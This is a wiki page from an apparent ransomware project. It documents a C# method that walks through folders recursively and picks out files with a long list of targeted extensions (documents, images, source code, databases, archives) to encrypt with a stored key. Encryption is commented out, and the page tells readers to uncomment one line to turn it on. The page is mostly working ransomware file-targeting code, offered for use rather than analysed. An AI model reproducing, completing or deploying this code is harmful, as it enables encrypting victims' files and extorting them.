Skip to content

Form1.cs | ShowAllFoldersUnder

HackTheDev edited this page May 3, 2021 · 2 revisions

This method is responsible for getting all files in a Directory and Sub-Directories. For each Directory it will try to get all the files from the current directory, and then checks if the file's extension is one of the extensions defined in validExtensions. All extension types have to be lowercase, since this method will set the file's extension to lowercase when checking.

skipPath is basically the same as the validExtensions array, but used to skip certain paths for faster results. When testing this feature didn't work, but it didn't crash eighter. This will be investigated.

Encryption is disabled for testing purposes but you can uncomment the line //Crypto.FileEncrypt(s, Properties.Settings.Default.key); to also encrypt files the application has found.

            try
            {
                if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
                    != FileAttributes.ReparsePoint)
                {
                    foreach (string folder in Directory.GetDirectories(path))
                    {
                        try
                        {
                            file = Directory.GetFiles(Path.GetFullPath(folder));
                        } catch { }

                        foreach(string s in file)
                        {
                            string ext = Path.GetExtension(s);
                            var validExtensions = new[]
                            {
                                ".jpg", ".jpeg", ".gif", ".mp3", ".m4a", ".wav", ".pdf", ".raw", ".bat", ".json", ".doc", ".txt", ".png", ".cs", ".c", ".java", ".h", ".rar", ".zip", ".7zip",
                                ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".xhtml", ".odt", ".ods", ".wma",
                                ".wav", ".mpa", ".ogg", ".arj", ".deb", ".pkg", ".rar", ".tar.gz", ".gz", ".zip", ".py", ".pl", ".bin", ".ai" ,".ico",
                                ".asp", ".aspx", ".css", ".js", ".py", ".sh", ".vb", "java", ".cpp"
                            };

                            var skipPath = new[]
                            {
                                "System32", "WinSxS", "Program Files"
                            };

                            if (validExtensions.Contains(ext) && !skipPath.Contains(s))
                            {
                                // Uncomment Line below to encrypt files
                                //Crypto.FileEncrypt(s, Properties.Settings.Default.key);
                                write("Encrypted " + s);
                            }

                        }

                        ShowAllFoldersUnder(folder, indent + 2);
                    }
                }
            }
            catch (UnauthorizedAccessException e) { write(e.Message); }
Clone this wiki locally